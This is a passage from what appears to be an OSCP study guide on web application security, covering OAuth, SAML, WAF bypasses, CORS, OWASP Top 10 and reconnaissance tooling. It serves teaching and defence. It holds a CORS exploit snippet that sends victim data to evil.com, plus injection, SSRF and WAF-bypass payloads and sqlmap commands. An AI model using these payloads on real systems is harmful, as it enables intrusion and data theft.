C -->|3. Authorization Code| B
B -->|4. Auth Code| A
A -->|5. Token Request| B
B -->|6. Access Token| A
A -->|7. Resource Request + Token| D[Resource Server]
D -->|8. Resource| A
OAuth 2.0 Attack Vectors:
| Attack |
Description |
| Open Redirect |
Manipulate redirect_uri parameter |
| Authorization Code Interception |
Intercept code via man-in-the-middle |
| PKCE Bypass |
Skip PKCE in public clients |
| Token Theft |
Steal access tokens from storage |
| Scope Manipulation |
Request excessive permissions |
| Refresh Token Abuse |
Misuse long-lived refresh tokens |
10.4 SAML
| Aspect |
Details |
| Format |
XML-based assertions |
| Roles |
IdP (Identity Provider), SP (Service Provider) |
| Flow |
Redirect-based SSO |
SAML Attack Vectors:
| Attack |
Description |
| XML External Entity (XXE) |
Inject XXE in SAML assertions |
| Assertion Manipulation |
Modify attributes in SAML response |
| Signature Stripping |
Remove XML signature |
| Replay Attacks |
Reuse valid SAML assertions |
| Certificate Confusion |
Swap signing/encryption certificates |
10.5 Defensive Considerations
- Implement multi-factor authentication (MFA).
- Use strong, unique passwords with complexity requirements.
- Implement proper session management.
- Monitor for suspicious authentication patterns.
- Use secure password hashing (bcrypt, argon2).
- Implement proper OAuth 2.0 flows with PKCE.
- Validate and verify SAML assertions rigorously.
11. Web Application Firewall (WAF)
11.1 WAF Overview
| Aspect |
Details |
| Purpose |
Filter, monitor, and block HTTP traffic |
| Placement |
Between client and web application |
| Types |
Network-based, host-based, cloud-based |
| Common WAFs |
ModSecurity, AWS WAF, Cloudflare, Azure WAF |
11.2 WAF Architecture
graph LR
A[Client] --> B[WAF]
B -->|Allowed| C[Web Application]
B -->|Blocked| D[Block Page / 403]
B -->|Logged| E[Log Server]
C --> F[Response]
F --> B
B -->|Inspected| A
11.3 WAF Rule Types
| Rule Type |
Description |
Example |
| Signature-based |
Match known attack patterns |
SQLi patterns, XSS patterns |
| Anomaly-based |
Detect deviations from baseline |
Unusual request frequency |
| Reputation-based |
Block known malicious IPs |
IP blacklists |
| Behavioral |
Analyze request behavior |
Rate limiting, bot detection |
| Positive Security |
Allow only known-good patterns |
Whitelist approach |
11.4 WAF Bypass Techniques
| Technique |
Description |
Example |
| Encoding |
Encode malicious payload |
URL encoding, double encoding |
| Obfuscation |
Split/merge attack strings |
UN/**/ION SE/**/LECT |
| Case Variation |
Change case to bypass rules |
UnIoN SeLeCt |
| Comment Injection |
Insert comments to break patterns |
1'/*comment*/OR'1'='1 |
| HTTP Parameter Pollution |
Duplicate parameters |
id=1&id=2 |
| Content-Type Change |
Change MIME type |
text/plain instead of application/x-www-form-urlencoded |
| Request Smuggling |
CL.TE / TE.CL confusion |
Different Content-Length and Transfer-Encoding |
| Alternative Syntax |
Use equivalent syntax |
1 OR 1=1 instead of 1' OR '1'='1 |
| Null Byte Injection |
Insert null bytes |
%00 in parameters |
| Whitespace Variation |
Use unusual whitespace |
Tabs, newlines, carriage returns |
11.5 Defensive Considerations
- WAF is not a substitute for secure coding.
- Keep WAF rules updated regularly.
- Monitor WAF logs for bypass attempts.
- Use WAF in detection mode before enforcement.
- Implement defense-in-depth strategies.
- Test WAF effectiveness with regular penetration tests.
12. REST APIs and SOAP Services
12.1 REST API Fundamentals
| Concept |
Description |
| Resource |
Any entity (users, products, orders) |
| Endpoint |
URL representing a resource |
| Method |
HTTP verb (GET, POST, PUT, DELETE) |
| Payload |
Request/response body (usually JSON) |
| Status Code |
HTTP status indicating result |
REST API Examples:
GET /api/users - List all users
GET /api/users/123 - Get user 123
POST /api/users - Create new user
PUT /api/users/123 - Update user 123
DELETE /api/users/123 - Delete user 123
12.2 SOAP Services
| Aspect |
Details |
| Protocol |
Simple Object Access Protocol |
| Format |
XML-based messages |
| Transport |
HTTP, HTTPS, SMTP, TCP |
| Description |
WSDL (Web Services Description Language) |
| Standards |
WS-Security, WS-Addressing, WS-Routing |
SOAP Envelope Structure:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<!-- Security, routing headers -->
</soap:Header>
<soap:Body>
<!-- Request/response payload -->
<m:GetPrice xmlns:m="http://example.com/prices">
<m:Item>Apple</m:Item>
</m:GetPrice>
</soap:Body>
</soap:Envelope>
12.3 API Attack Vectors
| Attack |
REST API |
SOAP |
| Injection |
SQLi, NoSQLi in parameters |
XXE in XML payload |
| Broken Auth |
Missing token validation |
WS-Security bypass |
| BOLA/BFLA |
IDOR via resource IDs |
Object reference manipulation |
| Excessive Data |
Missing pagination/filtering |
Verbose XML responses |
| Rate Limiting |
Missing throttling |
SOAP action flooding |
| Mass Assignment |
Extra fields in JSON body |
Extra XML elements |
12.4 API Enumeration
| Target |
REST |
SOAP |
| Documentation |
/api/docs, /swagger.json, /openapi.json |
WSDL file (.wsdl) |
| Versioning |
/api/v1/, /api/v2/ |
SOAP 1.1 vs 1.2 |
| Endpoints |
/api/users, /api/products |
SOAP actions in WSDL |
| Authentication |
Bearer tokens, API keys |
WS-Security headers |
12.5 Defensive Considerations
- Implement proper authentication and authorization for all endpoints.
- Use rate limiting and throttling.
- Validate and sanitize all API inputs.
- Implement proper error handling (no verbose errors).
- Use HTTPS for all API communications.
- Document APIs properly (OpenAPI/Swagger for REST).
- Monitor API usage for anomalous patterns.
13. CORS and Same-Origin Policy
13.1 Same-Origin Policy (SOP)
| Component |
Same Origin? |
Example |
| Protocol + Host + Port |
All must match |
https://example.com:443 |
| Different Protocol |
Blocked |
http:// vs https:// |
| Different Host |
Blocked |
example.com vs evil.com |
| Different Port |
Blocked |
:80 vs :8080 |
| Subdomains |
Blocked |
app.example.com vs api.example.com |
SOP Protects Against:
- Reading cookies of other domains.
- Accessing DOM of cross-origin iframes.
- Reading XMLHttpRequest responses from other origins.
- Accessing localStorage of other origins.
13.2 CORS (Cross-Origin Resource Sharing)
sequenceDiagram
participant B as Browser
participant O as Origin Site
participant T as Target API
B->>T: Preflight OPTIONS Request
Note over T: Access-Control-Request-Method: POST
Note over T: Access-Control-Request-Headers: Authorization
T-->>B: CORS Headers
Note over T: Access-Control-Allow-Origin: https://origin.com
Note over T: Access-Control-Allow-Methods: POST, GET
B->>T: Actual Request
T-->>B: Response + CORS Headers
CORS Headers:
| Header |
Purpose |
Risky Value |
| Access-Control-Allow-Origin |
Allowed origins |
* (wildcard) |
| Access-Control-Allow-Methods |
Allowed HTTP methods |
All methods |
| Access-Control-Allow-Headers |
Allowed request headers |
All headers |
| Access-Control-Allow-Credentials |
Allow credentials |
true with * origin |
| Access-Control-Expose-Headers |
Exposed response headers |
Sensitive headers |
| Access-Control-Max-Age |
Preflight cache time |
Very long duration |
13.3 CORS Misconfigurations
| Misconfiguration |
Description |
Impact |
| Wildcard Origin |
Access-Control-Allow-Origin: * |
Any site can access |
| Reflective Origin |
Echoes back request’s Origin header |
Attacker’s site allowed |
| Null Origin |
Allows null origin |
Data exfiltration via sandboxed iframes |
| Credentials + Wildcard |
Allow-Credentials: true + Allow-Origin: * |
Cookie theft across origins |
| Missing Preflight |
No preflight for sensitive methods |
Direct cross-origin requests |
13.4 CORS Attack Example
// Attacker page on evil.com
fetch('https://victim.com/api/user/data', {
method: 'GET',
credentials: 'include' // Send cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate victim's data
fetch('https://evil.com/steal?data=' + encodeURIComponent(JSON.stringify(data)));
});
13.5 Defensive Considerations
- Never use
Access-Control-Allow-Origin: * with credentials.
- Specify exact allowed origins (no wildcards).
- Do not reflect the Origin header blindly.
- Limit allowed methods to only what is needed.
- Implement proper preflight handling.
- Use SameSite cookie attribute for additional protection.
14. Web Application Deployment Architectures
14.1 Common Architectures
graph TB
subgraph "Traditional Monolith"
A[Client] --> B[Web Server]
B --> C[Application Server]
C --> D[(Database)]
end
subgraph "Microservices"
E[Client] --> F[API Gateway]
F --> G[Service A]
F --> H[Service B]
F --> I[Service C]
G --> J[(DB A)]
H --> K[(DB B)]
I --> L[(DB C)]
end
subgraph "Serverless"
M[Client] --> N[API Gateway]
N --> O[Function A]
N --> P[Function B]
O --> Q[(Managed DB)]
P --> Q
end
14.2 Architecture Components
| Component |
Purpose |
Security Considerations |
| Load Balancer |
Distribute traffic |
SSL termination, health checks |
| Reverse Proxy |
Front-end for app servers |
Header handling, rate limiting |
| CDN |
Content delivery |
Cache poisoning, origin exposure |
| API Gateway |
API management |
Auth, rate limiting, versioning |
| Message Queue |
Async communication |
Queue poisoning, unauthorized access |
| Cache Layer |
Performance |
Cache poisoning, data leakage |
| Container Orchestration |
Deployment management |
Container escape, misconfiguration |
14.3 Deployment Topologies
| Topology |
Description |
Attack Surface |
| Single Server |
All components on one machine |
Full compromise if breached |
| Multi-Tier |
Separate web, app, DB tiers |
Lateral movement between tiers |
| Microservices |
Many small services |
Service-to-service auth, API security |
| Serverless |
Event-driven functions |
Function injection, event poisoning |
| Containerized |
Docker/Kubernetes |
Container escape, orchestration attacks |
| Hybrid Cloud |
Mix of on-prem and cloud |
Cross-environment trust issues |
14.4 Defensive Considerations
- Implement network segmentation between tiers.
- Use service mesh for microservice communication security.
- Implement zero-trust architecture principles.
- Encrypt data in transit between all components.
- Monitor inter-service communication for anomalies.
- Apply least-privilege access between components.
15. Common Architectural Weaknesses
15.1 Weakness Categories
| Category |
Description |
Examples |
| Information Disclosure |
Exposing sensitive information |
Stack traces, version info, debug pages |
| Insecure Configuration |
Default or weak settings |
Default credentials, open ports |
| Missing Access Control |
Insufficient authorization checks |
IDOR, privilege escalation |
| Insecure Direct Object References |
Direct access to backend objects |
URL parameter manipulation |
| Security Misconfiguration |
Improper security setup |
Missing headers, weak TLS |
| Broken Authentication |
Flawed auth implementation |
Weak passwords, no MFA |
| Source |
What It Reveals |
How to Find |
| HTTP Headers |
Server version, tech stack |
curl -I, Burp Suite |
| Error Messages |
Stack traces, file paths |
Trigger errors intentionally |
| Source Code |
Comments, hardcoded secrets |
View page source, JS files |
| Robots.txt |
Hidden directories |
/robots.txt |
| Sitemap |
Site structure |
/sitemap.xml |
| Git Repository |
Full source code history |
/.git/config |
| Backup Files |
Previous versions |
.bak, .old, .swp |
| API Endpoints |
Available functionality |
Swagger, OpenAPI docs |
15.3 Insecure Configuration
| Misconfiguration |
Impact |
Detection |
| Default Credentials |
Full system access |
Credential dictionaries |
| Open Ports |
Unnecessary attack surface |
Port scanning (nmap) |
| Directory Listing |
File enumeration |
Direct access to directories |
| Debug Mode Enabled |
Information leakage |
Error pages, stack traces |
| Weak TLS Configuration |
Downgrade attacks |
SSL Labs, testssl.sh |
| Missing Security Headers |
Client-side attacks |
Header analysis |
| Permissive CORS |
Cross-origin data theft |
CORS testing tools |
15.4 Defensive Considerations
- Remove all default accounts and change default passwords.
- Disable unnecessary services and close unused ports.
- Implement proper error handling (generic error messages).
- Use security headers consistently.
- Implement proper access controls at every layer.
- Regular security audits and penetration testing.
- Implement logging and monitoring for all components.
16. OWASP Top 10 Overview
16.1 OWASP Top 10 (2021)
| Rank |
Category |
Description |
Attack Example |
| A01 |
Broken Access Control |
Users can access others’ resources |
IDOR, privilege escalation |
| A02 |
Cryptographic Failures |
Sensitive data exposed |
Weak encryption, hardcoded keys |
| A03 |
Injection |
Untrusted data sent to interpreter |
SQLi, command injection, XSS |
| A04 |
Insecure Design |
Flaws in architecture/design |
Missing security controls |
| A05 |
Security Misconfiguration |
Incorrect security setup |
Default configs, verbose errors |
| A06 |
Vulnerable Components |
Outdated/vulnerable dependencies |
Known CVEs in libraries |
| A07 |
Auth Failures |
Weak authentication mechanisms |
Credential stuffing, session fixation |
| A08 |
Software & Data Integrity |
Untrusted updates/code |
CI/CD compromise, deserialization |
| A09 |
Logging & Monitoring Failures |
Undetected attacks |
Missing logs, no alerting |
| A10 |
SSRF |
Server makes requests to targets |
Internal network access, cloud metadata |
16.2 Detailed Breakdown
A01: Broken Access Control
| Sub-category |
Description |
Test Method |
| IDOR |
Insecure Direct Object References |
Change ID parameters |
| Privilege Escalation |
Vertical/horizontal privilege abuse |
Try admin functions as user |
| Forced Browsing |
Access restricted URLs directly |
Guess URL patterns |
| CORS Misconfiguration |
Cross-origin access allowed |
Test CORS headers |
A03: Injection
| Type |
Description |
Payload Example |
| SQL Injection |
Database query manipulation |
' OR 1=1-- |
| Command Injection |
OS command execution |
; cat /etc/passwd |
| XSS |
Client-side script injection |
<script>alert(1)</script> |
| LDAP Injection |
LDAP query manipulation |
`)(uid=))( |
| XPath Injection |
XPath query manipulation |
' or '1'='1 |
| SSTI |
Server-side template injection |
{{7*7}} |
| NoSQL Injection |
NoSQL query manipulation |
{$ne: null} |
A10: Server-Side Request Forgery (SSRF)
| Target |
Description |
Payload |
| Localhost |
Access internal services |
http://127.0.0.1:8080 |
| Cloud Metadata |
AWS/GCP/Azure metadata |
http://169.254.169.254/latest/meta-data/ |
| Internal Networks |
Scan internal network |
http://192.168.1.1/ |
| File Protocol |
Read local files |
file:///etc/passwd |
| Gopher Protocol |
Interact with services |
gopher://localhost:6379/ |
16.3 OWASP Testing Mapping
| OWASP Category |
Burp Suite Tool |
Manual Test |
| Broken Access Control |
Intruder, Repeater |
Parameter manipulation |
| Cryptographic Failures |
Comparer, Decoder |
Certificate analysis |
| Injection |
Repeater, Intruder |
Payload testing |
| Security Misconfiguration |
Scanner, Site map |
Configuration review |
| Vulnerable Components |
Scanner, Extensions |
Dependency audit |
| Auth Failures |
Intruder, Repeater |
Auth flow testing |
| SSRF |
Repeater |
URL manipulation |
17. Web Application Attack Surface Mapping
17.1 Attack Surface Categories
| Category |
Components |
Tools |
| URLs/Endpoints |
Pages, APIs, hidden routes |
Burp Suite, ffuf, gobuster |
| Parameters |
GET, POST, headers, cookies |
Burp Repeater, Intruder |
| Authentication |
Login, registration, password reset |
Burp, Hydra, custom scripts |
| File Upload |
Upload forms, avatar, documents |
Burp, custom payloads |
| APIs |
REST, GraphQL, SOAP |
Burp, Postman, GraphQL Voyager |
| Third-Party |
CDNs, widgets, scripts |
Browser dev tools, Burp |
| Infrastructure |
DNS, certificates, subdomains |
nmap, subfinder, amass |
17.2 Reconnaissance Workflow
graph TD
A[Target URL] --> B[Subdomain Enumeration]
A --> C[Port Scanning]
A --> D[Technology Detection]
B --> E[Content Discovery]
C --> E
D --> E
E --> F[Parameter Identification]
E --> G[API Discovery]
F --> H[Vulnerability Testing]
G --> H
H --> I[Exploitation]
I --> J[Post-Exploitation]
| Purpose |
Tool |
Command Example |
| Subdomain Enum |
subfinder, amass |
subfinder -d example.com |
| Port Scanning |
nmap |
nmap -sV -sC -p- target |
| Directory Enum |
gobuster, ffuf |
gobuster dir -u http://target -w wordlist |
| Tech Detection |
whatweb, wappalyzer |
whatweb http://target |
| API Discovery |
Burp Suite, Postman |
Manual exploration |
| Parameter Fuzzing |
Arjun, ParamSpider |
arjun -u http://target/page |
| JS Analysis |
LinkFinder, SecretFinder |
LinkFinder -i http://target -d 2 |
| Certificate Enum |
crt.sh |
Search certificate transparency logs |
17.4 Content Discovery Targets
| Target |
Common Paths |
| Admin Panels |
/admin, /administrator, /wp-admin, /phpmyadmin |
| API Endpoints |
/api/, /api/v1/, /graphql, /swagger.json |
| Backup Files |
.bak, .old, .swp, .tar.gz, .zip |
| Source Control |
/.git/, /.svn/, /.hg/ |
| Configuration |
/config/, /conf/, /.env, /web.config |
| Documentation |
/docs/, /doc/, /readme, /CHANGELOG |
| Debug Pages |
/debug/, /trace, /server-status |
| Upload Directories |
/uploads/, /files/, /images/, /media/ |
17.5 Attack Surface Prioritization
| Priority |
Criteria |
Examples |
| Critical |
Direct RCE, auth bypass |
Login forms, file uploads, API endpoints |
| High |
Data exposure, privilege escalation |
User profiles, admin panels, IDOR |
| Medium |
Information disclosure, DoS |
Error pages, verbose APIs |
| Low |
Client-side issues, minor flaws |
XSS in non-sensitive fields |
17.6 Defensive Considerations
- Maintain an inventory of all endpoints and APIs.
- Implement proper access controls on all endpoints.
- Use automated scanning tools regularly.
- Conduct manual penetration tests periodically.
- Implement Web Application Firewall (WAF).
- Monitor for new attack surfaces (new features, APIs).
- Implement proper logging and alerting.
| Tool |
Purpose |
Installation |
| Burp Suite |
Web proxy, testing, exploitation |
Professional/Community edition |
| OWASP ZAP |
Web app scanner, proxy |
Free, open-source |
| nmap |
Port scanning, service detection |
sudo apt install nmap |
| gobuster |
Directory/file enumeration |
go install github.com/OJ/gobuster |
| ffuf |
Fast web fuzzer |
go install github.com/ffuf/ffuf |
| subfinder |
Subdomain enumeration |
go install github.com/projectdiscovery/subfinder |
| amass |
Subdomain discovery |
go install github.com/owasp-amass/amass |
| whatweb |
Technology detection |
sudo apt install whatweb |
| Tool |
Purpose |
Installation |
| sqlmap |
SQL injection detection/exploitation |
sudo apt install sqlmap |
| commix |
Command injection exploitation |
sudo apt install commix |
| XSStrike |
XSS detection and exploitation |
pip install xsstrike |
| NoSQLMap |
NoSQL injection exploitation |
git clone https://github.com/codingo/NoSQLMap |
| jwt_tool |
JWT attacks |
pip install jwt-tool |
| ffuf |
Parameter fuzzing |
go install github.com/ffuf/ffuf |
| Hydra |
Password brute-forcing |
sudo apt install hydra |
A.3 Browser Extensions
| Extension |
Purpose |
| Wappalyzer |
Technology detection |
| Hacker Toolkit |
XSS, encoding, hashing tools |
| Cookie-Editor |
Cookie manipulation |
| Modify Header Value |
HTTP header modification |
| JSON Viewer |
Pretty-print JSON responses |
| Postman |
API testing |
Appendix B: Quick Reference Commands
B.1 HTTP Requests
# Basic GET request
curl -I http://target.com
# POST request with data
curl -X POST -d "username=admin&password=password" http://target.com/login
# Custom headers
curl -H "Authorization: Bearer token123" http://target.com/api/user
# Follow redirects
curl -L http://target.com
# Verbose output
curl -v http://target.com
# Save response
curl -o response.html http://target.com
B.2 Directory Enumeration
# gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# ffuf
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
# gobuster with extensions
gobuster dir -u http://target.com -w wordlist.txt -x .php,.html,.txt,.bak
B.3 SQL Injection Testing
# sqlmap basic
sqlmap -u "http://target.com/page?id=1" --batch
# sqlmap with cookie
sqlmap -u "http://target.com/page" --cookie="session=abc123" --batch
# sqlmap POST data
sqlmap -u "http://target.com/login" --data="username=admin&password=test" --batch
Appendix C: Learning Resources
| Resource |
Type |
URL |
| OWASP Web Security Testing Guide |
Documentation |
owasp.org/www-project-web-security-testing-guide |
| PortSwigger Web Security Academy |
Labs + Articles |
portswigger.net/web-security |
| OWASP Top 10 |
Documentation |
owasp.org/www-project-top-ten |
| HackTheBox |
Practice Platform |
hackthebox.com |
| TryHackMe |
Practice Platform |
tryhackme.com |
| PentesterLab |
Exercises |
pentesterlab.com |
| Web Security Academy |
Free Labs |
portswigger.net/web-security |
This study guide covers the foundational web application concepts required for OSCP certification. Master these topics before moving to advanced exploitation techniques.